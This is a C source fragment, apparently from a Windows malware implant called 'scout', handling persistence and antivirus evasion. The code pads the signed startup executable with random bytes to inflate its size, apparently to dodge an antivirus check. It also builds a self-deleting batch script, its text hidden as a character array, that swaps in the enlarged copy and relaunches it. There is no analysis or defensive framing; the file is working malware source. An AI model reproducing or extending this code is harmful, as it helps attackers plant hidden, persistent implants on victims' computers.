                /* padding must an 8 byte multiple */
                while( dwPadding % 8 != 0 )
                    dwPadding += 1;
                

                if( dwPadding > 0 )
                {

                    /* a] not running from startup, just expand scout file on startup */
                    if( !AmIFromStartup() )  
                    {
                        
                        BOOL bFileAppended = FALSE;
                        DWORD dwBytesWritten = 0;
                            
                        LPBYTE lpGarbagePadding = GetRandomData(dwPadding);
                        LPBYTE lpFatExecutableBuffer = AppendDataInSignedExecutable(hScout, lpGarbagePadding, dwPadding, &dwFileSize);
                        
                        /* read only handle was needed by AppendDataInSignedExecutable, now open an w one */
                        CloseHandle(hScout);
                        

                        hScout = CreateFile(strDestPath, CREATE_ALWAYS, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

                        if( lpFatExecutableBuffer != NULL )
                        {
                             DWORD dwFilePtr = SetFilePointer(hScout, 0, NULL, FILE_BEGIN);
                            if(dwFilePtr != INVALID_SET_FILE_POINTER)
                            {
                                bFileAppended = WriteFile(hScout, lpFatExecutableBuffer, dwFileSize, &dwBytesWritten, NULL);
                                CloseHandle(hScout);
                                    
                                    
#ifdef _DEBUG
                                if(bFileAppended && dwFileSize == dwBytesWritten)
                                    OutputDebugString(L"Scout appended correctly\n");
                                else
                                    OutputDebugString(L"Issues appending scout\n");
#endif    
                            }
#ifdef _DEBUG                
                            else
                            {
                                wchar_t buf[256];
                                FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM, NULL, GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), buf, 256, NULL);
                                OutputDebugString(buf);
                            }
#endif

                            zfree(lpFatExecutableBuffer);
                        }
#ifdef _DEBUG
                        else
                            OutputDebugString(L"No Fat Executable buffer\n");
#endif
                        zfree(lpGarbagePadding);
                            
                        
                    } else 

                    /*    b]    if scout is running from startup and is not big enough (lPadding > 0)
                            create an expanded kosher copy in temp and replace the one in startup 
                            with a batch script
                    */
                    {
                        
                        LPBYTE lpGarbagePadding = GetRandomData(dwPadding);
                        LPBYTE lpFatExecutableBuffer = AppendDataInSignedExecutable(hScout, lpGarbagePadding, dwPadding, &dwFileSize);

                        zfree(lpGarbagePadding);

                        if( lpFatExecutableBuffer != NULL )
                        {

                            /* read only handle was needed by AppendDataInSignedExecutable */
                            CloseHandle(hScout);

                            LPWSTR lpTempFile = CreateTempFile();
                            HANDLE hFatScout = CreateFile(lpTempFile, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

                            if( hFatScout != INVALID_HANDLE_VALUE )
                            {
                                DWORD dwBytesWritten = 0;
                                BOOL bGarbageFileWritten = WriteFile(hFatScout, lpFatExecutableBuffer, dwFileSize, &dwBytesWritten, NULL);
                            
                                CloseHandle(hFatScout);

#ifdef _DEBUG
                                if(bGarbageFileWritten && dwBytesWritten == dwFileSize)
                                    OutputDebugString(L"Fat scout file written\n");
                                else
                                    OutputDebugString(L"Issues writing fat scout file\n");
#endif

                                /* Batch file increases scout size, then respawns a fat scout process */
                                PWCHAR pBatchName;
                                CreateFileReplacerBatch(lpTempFile, strDestPath, &pBatchName);
                                StartBatch(pBatchName);
                                ExitProcess(0);
                            }
                        } // if( lpFatExecutableBuffer != NULL )
                    } // else
                } //if( dwPadding > 0 )
            }//else
        }
#ifdef _DEBUG
        else {
            OutputDebugString(L"No avg here");
        }
#endif
        
        /* free resources */
        zfree(pApplicationList);
        zfree(strDestPath);
        zfree(strSourcePath);
        zfree(strStartupPath);

}


VOID CreateFileReplacerBatch(__in PWCHAR lpGarbageFile, __in PWCHAR lpScoutStartupPath, __out PWCHAR *pBatchOutName)
{
    HANDLE hFile;
    ULONG uTick, uOut;
    PWCHAR pTempPath = GetTemp();
    PWCHAR pBatchName = (PWCHAR) malloc(32767*sizeof(WCHAR));
    
    /* 
        @echo off
        :t
        timeout 1
        for /f %%i in ('tasklist /FI "IMAGENAME eq %S"  ^| find /v /c ""' ) do set YO=%%i   # 1) current process name
        if %YO%==4 goto :t
        type "%S" > "%S"                                      # 2) fat scout file , 3) scout path in startup
        start /B cmd /c "%S"                                  # 4) scout path in startup
        del /F "%S"                                              # 5) temp scout file 
        del /F "%S"                                              # 6) batch file 
    */
    
    CHAR pBatchFormat[] = { '@','e','c','h','o',' ','o','f','f', '\r', '\n', ':','t', '\r', '\n', 't', 'i', 'm', 'e', 'o', 'u', 't', ' ', '1', '\r', '\n', 'f', 'o', 'r', ' ', '/', 'f', ' ', '%', '%', '%', '%','i', ' ', 'i', 'n',' ','(', '\'', 't','a','s','k','l','i','s','t',' ','/','F','I',' ','"','I','M','A','G','E','N','A','M','E',' ','e','q',' ','%','S','"',' ', '^','|',' ','f','i','n','d', ' ', '/', 'v', ' ', '/', 'c', ' ', '"', '"', '\'',' ',')', ' ', 'd', 'o', ' ', 's', 'e', 't', ' ', 'Y', 'O', '=', '%', '%', '%', '%', 'i', '\r', '\n', 'i','f',' ', '%', '%', 'Y', 'O', '%', '%', '=', '=', '4', ' ','g','o','t','o',' ',':','t', '\r', '\n', 't','y','p','e',' ','"','%','S','"',' ','>', ' ','"','%','S','"', '\r', '\n', 's','t','a','r','t',' ','/','B',' ','c','m','d',' ','/','c',' ','"','%','S','"', '\r', '\n',  'd','e','l',' ','/','F',' ','"','%','S','"', '\r', '\n',     'd','e','l',' ','/','F',' ','"','%','S','"', 0x0 };


    PCHAR pBatchBuffer = (PCHAR) malloc(strlen(pBatchFormat) + (32767 * 3));

    uTick = GetTickCount();
    do
    {
        _snwprintf_s(pBatchName, 32766, _TRUNCATE, L"%s\\%d.bat", pTempPath, uTick++);
        hFile = CreateFile(pBatchName, GENERIC_READ|GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
        if (hFile && hFile != INVALID_HANDLE_VALUE)
            break;
    }
    while (1);

    WCHAR lpFullImageName[MAX_PATH*2];
    GetModuleFileName(NULL, lpFullImageName, MAX_PATH*2);
    PWCHAR lpImageName = PathFindFileName(lpFullImageName);

    _snprintf_s(pBatchBuffer, strlen(pBatchFormat) + (32767 * 3), _TRUNCATE, pBatchFormat, lpImageName, lpGarbageFile, lpScoutStartupPath, lpScoutStartupPath, lpGarbageFile, pBatchName); 
    WriteFile(hFile, pBatchBuffer, strlen(pBatchBuffer), &uOut, NULL);
    CloseHandle(hFile);

#ifdef _DEBUG
    OutputDebugString(pBatchName);
    OutputDebugString(L"\n");
    OutputDebugString(lpImageName);
    OutputDebugString(L"\n");
    OutputDebugStringA(pBatchBuffer);
#endif


    *pBatchOutName = pBatchName;

    free(pBatchBuffer);
    free(pTempPath);
}